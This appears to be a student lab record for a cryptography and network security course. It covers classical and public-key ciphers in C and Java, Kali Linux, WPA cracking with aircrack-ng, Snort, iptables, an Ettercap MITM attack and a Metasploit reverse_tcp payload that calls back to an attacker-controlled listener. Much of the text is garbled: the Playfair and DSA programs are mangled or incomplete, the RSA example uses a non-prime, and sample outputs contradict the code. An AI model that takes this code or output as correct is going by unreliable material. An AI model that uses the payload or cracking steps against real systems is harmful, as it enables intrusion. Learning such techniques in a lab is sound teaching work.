CAESAR CIPHER

Aim:

To implement encryption algorithm using Caesar Cipher technique.

Algorithm:

- Step 1: Prompt the user to enter a message to encrypt (text) and the encryption key (key).
- Step 2: Iterate through each character in text, applying the Caesar Cipher encryption.
- Step 3: Print the encrypted message.

Program:

```
#include <stdio.h>
int main() {
    char text[500];
    int key;
    printf("Enter a message to encrypt: ");
    scanf("%s", text);
    printf("Enter the key: ");
    scanf("%d", &key);
    for (int i = 0; text[i] != '\0'; ++i) {
        char ch = text[i];
        if ('a' <= ch && ch <= 'z')
            ch = (ch - 'a' + key) % 26 + 'a';
        else if ('A' <= ch && ch <= 'Z')
            ch = (ch - 'A' + key) % 26 + 'A';
        else if ('0' <= ch && ch <= '9')
            ch = (ch - '0' + key) % 10 + '0';
        text[i] = ch; }
    printf("Encrypted message: %s", text);
    return 0; }
```

Output:

```
Enter a message to encrypt: vsgfdsgjhjdnjsdysftfyhdubgrtsbgdshij
Enter the key: 3
Encrypted message: yvjigvjkmqgmvgbviwibkgxejuwvejgvklm
```

PLAYFAIR CIPHER

Aim:

To implement an encryption algorithm using Playfair Cipher technique.

Algorithm:

- Step 1: "Algorithm" (as the key) and "ulroaliocvrX" (as the encrypted text).
- Step 2: Remove spaces and convert to lowercase.
- Step 3: Create a 5x5 key table based on the modified key.
- Step 4: Apply Playfair Cipher decryption to the encrypted text using the generated key table.
- Step 5: Display the deciphered text.

Program:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h> #define
SIZE 30
void toLowerCase(char plain[], int ps) {
    int i;
    for (i = 0; i < ps; i++) {
        if (plain[i] > 64 && plain[i] < 91)
            plain[i] += 32;
    }
}

RAIL FENCE CIPHER

Aim:To implement an encryption algorithm using Rail Fence Cipher technique.

Algorithm:

- Step 1: Declare msg and key, initializing msg with the original message, and set key to the desired rail fence key.
- Step 2: Create railMatrix with dimensions [key][msgLen], initializing elements with newline characters.
- Step 3: Iterate through msg, placing characters in railMatrix based on the Rail Fence Cipher pattern, updating row and col.
- Step 4: Print the encrypted message by traversing railMatrix, excluding newline characters.
- Step 5: Return 0 for successful execution and program termination.

Program:

```
#include<stdio.h>
```

```
#include<string.h>
```

```
void encryptMsg(char msg[], int key){
```

```
    int msgLen = strlen(msg), i, j, k = -1, row = 0, col = 0; char  
    railMatrix[key][msgLen];
```

```
    for(i = 0; i < key; ++i) 0;    for(j =  
j < msgLen; ++j)  
    railMatrix[i][j] = '\n';
```

```
    for(i = 0; i < msgLen; ++i){  
        railMatrix[row][col++] = msg[i];
```

```
        if(row == 0 || row == key-1)
```

```
            k = k * (-1);
```

```
        row = row + k;
```

```
    }
```

```
printf("\nEncrypted Message: ");

for(i = 0; i < key; ++i)    for(j = 0; j <
msgLen; ++j)    if(railMatrix[i][j] !=
'\n')    printf("%c", railMatrix[i][j]);
} int main(){
    char msg[] = "This is Thrisha";
    int key = 3;
    printf("Original Message: %s", msg);
    encryptMsg(msg, key);    return 0;
}

RSA

Aim:

To implement an encryption algorithm using RSA.

Algorithm:

- Step 1: Select two large prime numbers, p and q.
- Step 2: Calculate the modulus, $n = p * q$.
- Step 3: Compute Euler's totient function, $\phi(n) = (p - 1) * (q - 1)$.
- Step 4: Choose a public exponent, e, such that $1 < e < \phi(n)$ and $\gcd(e, \phi(n)) = 1$.
- Step 5: Compute the private exponent, d, such that $(d * e) \bmod \phi(n) = 1$.
- Step 6: Convert the plaintext message into a numerical representation, usually using ASCII values or Unicode.
- Step 7: Encrypt the message by computing ciphertext, c, using the formula $c = (\text{msg}^e) \bmod n$.
- Step 8: Print the encrypted data.
- Step 9: Decrypt the ciphertext by computing the original message, m, using the formula $m = (c^d) \bmod n$.
- Step 10: Print the original message.
- Step 11: Return 0 for successful execution and program termination.

Program:

```
import java.io.*; import
java.math.*; import
java.util.*; public class
GFG {
public static double gcd(double a, double h)
{ double
temp; while
(true) { temp =
a % h; if (temp
== 0) return h;
a = h;
h = temp; }
}
```

```

public static void main(String[] args) {
    double p = 9;
double q = 5;
    double n = p * q;
    double e = 2;
    double phi = (p - 1) * (q - 1);
    while (e < phi) {
        if (gcd(e, phi) == 1)
            break;
    else
        e++;
    }
    int k = 2;
    double d = (1 + (k * phi)) / e;
    double msg = 12;
    System.out.println("Message data = " + msg);
    double c = Math.pow(msg, e);
    c = c % n;
    System.out.println("Encrypted data = " + c);
double m = Math.pow(c, d);
m = m % n;
    System.out.println("Original Message Sent = " + m);
}
}

```

DIFFIE-HELLMAN KEY EXCHANGE

Aim: To implement Diffie-Hellman key exchange using C.

Algorithm:

- Step 1: Choose a large prime number P and a primitive root modulo (P) , denoted as (G) . Both parties agree on these values.
- Step 2: Alice chooses a private key (a) , while Bob chooses a private key (b) . These private keys are kept secret.
- Step 3: Alice calculates her public key (x) using $(x = G^a \bmod P)$, and Bob calculates his public key (y) using $(y = G^b \bmod P)$.
- Step 4: Alice sends her public key (x) to Bob, and Bob sends his public key (y) to Alice.
- Step 5: Using the received public keys, Alice computes the secret key (ka) using $(ka = y^a \bmod P)$, and Bob computes the secret key (kb) using $(kb = x^b \bmod P)$.
- Step 6: Both Alice and Bob now have the same shared secret key.
- Step 7: They can now communicate securely using the shared secret key for encryption and decryption.
- Step 8: The security of the Diffie-Hellman Key Exchange relies on the difficulty of calculating discrete logarithms in finite fields.

Program:

```
#include <math.h> #include
<stdio.h>
long long int power(long long int a, long long int b, long long int P)
{
    if (b == 1)
        return a;
    else
        return (((long long int)pow(a, b)) % P);
} int main()
{
    long long int P, G, x, a, y, b, ka,
    kb; P=23;
    printf("The value of P : %lld\n",
    P); G=9;
```

```

printf("The value of G : %lld\n\n", G); a = 4;
    printf("The private key a for Alice : %lld\n",
x      a); = power(G, a, P); b =
3;
    printf("The private key b for Bob : %lld\n\n", b);
y      = power(G, b, P);    ka
= power(y, a, P);    kb =
power(x, b, P);
    printf("Secret key for the Alice is : %lld\n", ka);
printf("Secret Key for the Bob is : %lld\n", kb); return 0;
}

```

Output:

```

/tmp/RaHd4rqFla.o
The value of P : 20

DSA

Aim:

To implement Digital Signature Algorithm (DSA) using C.

Algorithm:

- Step 1: Include the necessary header files `#include <stdio.h>` and `#include <math.h>`.
- Step 2: Declare the required variables for the program, including integers for prime numbers, private keys, hash value, and computed values like g , r , and s .
- Step 3: Prompt the user to enter the prime number p and the prime divisor q of $(-1)(p-1)$. Also, prompt the user to enter h such that it's greater than 1 and less than $(-1)(p-1)$.
- Step 4: Calculate g using the function `power(h,t,p)`.
- Step 5: Prompt the user to enter their private key x and per-message secret key k . Also, prompt the user to enter the hash value M .
- Step 6: Compute r and s values for the signature using the provided formulas.
- Step 7: Print the computed values of g , y , r , and s .
- Step 8: Define the power function to calculate the power of a number modulo p .
- Step 9: Define the multiplicativeInverse function to find the multiplicative inverse of a number modulo n .

Program:

```
#include <stdio.h> #include <math.h>
int power(int,unsigned int,int); int
multiplicativeInverse(int,int,int); int
main() {
int p,q,h,g,r,s,t,x,y,z,k,inv,hash;

printf("\nEnter prime number p and enter q prime divisor of (p-1): "); scanf("%d
%d",&p,&q);
printf("\nEnter h such that it greater than 1 and less than (p-1): ");
scanf("%d",&h); g = power(h,t,p);
printf("\nEnter user's private key such that it is greater than 0 and less than q :
"); scanf("%d",&x);
printf("\nEnter user's per-message secret key k such that it is greater than 0 and less than q :
"); scanf("%d",&k);
printf("\nEnter the hash(M) value : ");
scanf("%d",&hash);
```

```

r = z % q; inv = multiplicativeInverse(k,q,p);
s = inv * (hash + x * r) % q;
printf("\n*****Computed Values*****");
printf("\ng = %d",g); printf("\ny = %d",y);
printf("\nGenerated Signature Sender = (%d, %d) \n",r,s);
} int power(int x, unsigned int y, int p)
{ int res = 1;
  x = x % p; {
  res = (res * x) % p;
  } return res;
}
int multiplicativeInverse(int a, int b, int n) {
int sum,x,y; for(y=0;y<n;y++) {
for(x=0;x<n;x++) {
sum = a * x + b * (-y);
if(sum == 1) return x;
}
}
}

```

Output:

```

STUDY OF KALI LINUX DISTRIBUTION

Aim:

To study about Kali Linux: an advanced penetrating testing and security auditing Linux distribution.

Description:

Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali Linux contains several hundred tools aimed at various information security tasks, such as Penetration Testing, Forensics and Reverse Engineering. Kali Linux is developed, funded and maintained by Offensive Security, a leading information security training company. Kali Linux was released on the 13th March, 2013 as a complete, top-to-bottom rebuild of BackTrack Linux, adhering completely to Debian development standards. Features are listed below-

- More than 600 penetration testing tools
- Free and Open Source Software
- Open source Git tree: All of the source code which goes into Kali Linux is available for anyone who wants to tweak or rebuild packages to suit their specific needs.
- FHS compliant: It adheres to the Filesystem Hierarchy Standard, allowing Linux users to easily locate binaries, support files, libraries, etc.
- Wide-ranging wireless device support: A regular sticking point with Linux distributions has been support for wireless interfaces. Kali Linux supports many wireless devices.
- Custom kernel, patched for injection: As penetration testers, the development team often needs to do wireless assessments and Kali Linux kernel has the latest injection patches included.
- Developed in a secure environment: The Kali Linux team is made up of a small group of individuals who are the only ones trusted to commit packages and interact with the repositories, all of which is done using multiple secure protocols.
- GPG signed packages and repositories: Every package in Kali Linux is signed by each individual developer who built and committed it, and the repositories subsequently sign the packages as well.
- Multi-language support: It has multilingual support, allowing more users to operate in their native language and locate the tools they need for the job.
- Completely customizable: It can be customized to the requirements of the users.
- ARMEL and ARMHF support: It is suitable for ARM-based single-board systems like the Raspberry Pi and BeagleBone Black.

Security Tools:

Kali Linux includes many well known security tools and are listed below-

- Nmap

- Aircrack-ng
- Kismet
- Wireshark
- Metasploit Framework
- Burp suite
- John the Ripper
- Social Engineering Toolkit
- Airodump-ng

Aircrack-ng Suite:

It is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security:

- Monitoring: Packet capture and export of data to text files for further processing by third party tools.
- Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.
- Testing: Checking WiFi cards and driver capabilities (capture and injection).

Cracking: WEP and WPA PSK (WPA 1 and 2).

All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily Linux but also Windows, OS X, FreeBSD, OpenBSD, NetBSD, as well as Solaris and even eComStation 2.

WIRELESS AUDIT

Aim:

To perform wireless audit on Access Point and decrypt WPA keys using aircrackng tool in Kali Linux OS.

Algorithm:

1. Check the current wireless interface with iwconfig command.
2. Get the channel number, MAC address and ESSID with iwlist command.
3. Start the wireless interface in monitor mode on specific AP channel with airmon-ng.
4. If processes are interfering with airmon-ng then kill those process.
5. Again start the wireless interface in monitor mode on specific AP channel with airmon-ng.
6. Start airodump-ng to capture Initialization Vectors (IVs).
7. Capture IVs for at least 5 to 10 minutes and then press Ctrl + C to stop the operation.
8. List the files to see the captured files
9. Run aircrack-ng to crack key using the IVs collected and using the dictionary file rockyou.txt
10. If the passphrase is found in dictionary then Key Found message displayed; else print Key Not Found.

Output:

```
root@kali:~# iwconfig eth0 no

SNORT IDS

Aim:

To demonstrate Intrusion Detection System (IDS) using snort tool.

Algorithm:

- 1.Download and extract the latest version of daq and snort
- 2.Install development packages - libpcap and pcre.
- 3.Install daq and then followed by snort.
- 4.Verify the installation is correct.
- 5.Create the configuration file, rule file and log file directory
- 6.Create snort.conf and icmp.rules files
- 7.Execute snort from the command line
- 8.Ping to yahoo website from another terminal
- 9.Watch the alert messages in the log files

Output:

```
[root@localhost security lab]# cd /usr/src
[root@localhost security lab]# wget
https://www.snort.org/downloads/snort/daq-2.0.7.tar.gz [root@localhost
security lab]# wget https://www.snort.org/downloads/snort/snort- 2.9.16.1.tar.gz
[root@localhost security lab]# tar xvfz daq-2.0.7.tar.gz
[root@localhost security lab]# tar xvfz snort-2.9.16.1.tar.gz [root@localhost security lab]# yum
install libpcap* pcre* libdnet* -y [root@localhost security lab]# cd daq-2.0.7
[root@localhost security lab]# . /configure [root@localhost security lab]# make [root@localhost
security lab]# make install
```

```
[root@localhost security lab]# cd snort-2.9.16.1 [root@localhost security lab]# .
/configure [root@localhost security lab]# make [root@localhost security lab]# make
install [root@localhost security lab]# snort --version „_ -*> Snort! <*-
o" )~ Version 2.9.8.2 GRE (Build 335)
```

INSTALL AND CONFIGURE IPTABLES FIREWALL

Aim:

To install iptables and configure it for variety of options.

Common Configurations & outputs:

1. Start/stop/restart firewalls

```
[root@localhost ~]# systemctl start firewalld
[root@localhost ~]# systemctl restart firewalld
[root@localhost ~]# systemctl stop firewalld
[root@localhost ~]#
```

2. Check all existing IPtables Firewall

Rules [root@localhost ~]# iptables -L -n -v
[root@localhost ~]#

3. Block specific IP Address(eg. 172.16.8.10) in IPtables

Firewall [root@localhost ~]# iptables -A INPUT -s 172.16.8.10 -j
DROP [root@localhost ~]#

4. Block specific port on IPtables Firewall

```
[root@localhost ~]# iptables -A OUTPUT -p tcp --dport xxx -j
DROP [root@localhost ~]#
```

5. Allow specific network range on particular port on iptables

```
[root@localhost ~]# iptables -A OUTPUT -p tcp -d 172.16.8.0/24 --dport xxx -j
ACCEPT [root@localhost ~]#
```

6. Block Facebook on IPTables [root@localhost ~]# host facebook.com facebook.com
has address 157.240.24.35

facebook.com has IPv6 address 2a03:2880:f10c:283:face:b00c:0:25de
facebook.com mail is handled by 10 smtpin.vvv.facebook.com.

```
[root@localhost ~]# whois 157.240.24.35 | grep CIDR
```

CIDR: 157.240.0.0/16

[root@localhost ~]#

[root@localhost ~]# whois 157.240.24.35

Copyright 1997-2019, American Registry for Internet
Numbers, Ltd. #
[root@localhost ~]# iptables -A OUTPUT -p tcp -d 157.240.0.0/16 -j
DROP Open browser and check whether <http://facebook.com> is accessible

To allow facebook use -D instead of -A option
[root@localhost ~]# iptables -D OUTPUT -p tcp -d 157.240.0.0/16 -j
DROP [root@localhost ~]#

6. Block Access to your system from specific MAC Address(say 0F:22:1E:00:02:30)

[root@localhost ~]# iptables -A INPUT -m mac --mac-source 0F:22:1E:00:02:30 -j
DROP [root@localhost ~]#

7. Save IPTables rules to a file

[root@localhost ~]# iptables-save >
~/iptables.rules [root@localhost ~]# vi
iptables.rules [root@localhost ~]#

8.Restrict number of concurrent connections to a Server(Here restrict to 3 connections only)

```
[root@localhost ~]# iptables -A INPUT -p tcp --syn --dport 22 -m connlimit --connlimit-above 3  
-j  
REJECT
```

9. Disable outgoing mails through IPtables

```
[root@localhost ~]# iptables -A OUTPUT -p tcp --dport 25 -j  
REJECT [root@localhost ~]#
```

10. Flush IPtables Firewall chains or rules [root@localhost ~]# iptables -F
[root@localhost ~]#

MITM ATTACK WITH ETTERCAP

Aim:

To initiate a MITM attack using ICMP redirect with Ettercap tool.

Algorithm:

1. Install ettercap if not done already using the command- `dnf install ettercap`
2. Open etter.conf file and change the values of ec_uid and ec_gid to zero from default.
`vi /etc/ettercap/etter.conf`
3. Next start ettercap in GTK
`ettercap -G`
4. Click sniff, followed by unified sniffing.
5. Select the interface connected to the network.
6. Next ettercap should load into attack mode by clicking Hosts followed by Scan for Hosts
7. Click Host List and choose the IP address for ICMP redirect
8. Now all traffic to that particular IP address is redirected to some other IP address.
9. Click MITM and followed by Stop to close the attack.

Output:

```
[root@localhost security lab]# dnf install ettercap
```

```
[root@localhost security lab]# vi /etc/ettercap/etter.conf
```

```
[root@localhost security lab]# ettercap -G
```

METASPLOIT

Aim:

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

Algorithm:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type `http://172.16.8.155:8000`.
8. In KaliLinux, type `sysinfo` to get the information about Windows 8 machine
9. Create a new directory using `mkdir` command.
10. Delete the created directory.

Output: `root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155`

`LPORT=443 -f exe > /root/hi.exe`

`[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload`

`[-] No arch selected, selecting arch: x86 from the payload`

`No encoder or badchars specified, outputting raw payload`

`Payload size: 341 bytes`

`Final size of exe file: 73802 bytes`

`root@kali:~# msfconsole`

`[-] ***Rting the Metasploit Framework console...\`
